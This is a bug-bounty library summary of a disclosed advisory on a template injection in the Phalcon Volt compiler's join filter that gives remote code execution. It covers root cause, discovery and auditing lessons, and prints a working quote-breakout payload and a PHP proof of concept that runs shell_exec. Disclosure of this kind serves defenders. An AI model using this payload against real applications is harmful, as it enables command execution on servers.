# Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)

Phalcon Volt compiler splices raw `join` filter arguments into generated PHP, letting attacker-controlled templates inject code that executes on render.

- Payout: Research
- Severity: critical
- Program: Phalcon
- Found by: nikkoenggaliano
- Disclosed: 2026-08-21
- CVE: CVE-2026-59989
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hrwp-4hh9-c8r8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hrwp-4hh9-c8r8
- Tags: area:web domain:web impact:rce kind:research platform:ghsa sev:critical tech:php technique:source-review vuln:rce vuln:ssti

**Target:** Volt template compiler (Compiler.zep join filter)
**Root cause:** The `join` filter case concatenates the raw parsed token values of the separator and piped array directly into generated PHP (`join('` + sep + `', ` + arr + `)`) without routing through `expression()` or escaping quotes, unlike all other expressions.
**Steps:**
1. Craft template `{{ ['x'] | join("',[]); echo shell_exec(base64_decode('<b64cmd>')); //") }}`
2. Call `(new Compiler())->compileString($tpl)` to get generated PHP with injected code
3. Write compiled output to a `.php` file and `include` it (or let Volt render, which `require`s the cache file)
4. Injected `shell_exec` runs, executing the base64-decoded command
**How found:** Code review of the compiler's `join` case: noticed separator and array token values were used as raw `expr.value` bytes rather than passed through `expression()`, and confirmed against generated C that both fragments are concatenated unescaped.
**Exploitation:** Any app compiling wholly or partly attacker-controlled Volt source: injected PHP lands in the compiled cache file that Volt::render() `require`s, executing in the web-server process for RCE.
**Insight:** In template compilers, audit every filter/function case that reads `expr.value` directly instead of calling the expression emitter — string-literal bytes are stored verbatim by the scanner, so any such case is a quote-breakout candidate.

## Proof of concept (copied exactly from the original report)

**Volt join filter SSTI to RCE PoC**

```
$cmd = 'id; uname -a; hostname';

$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
```

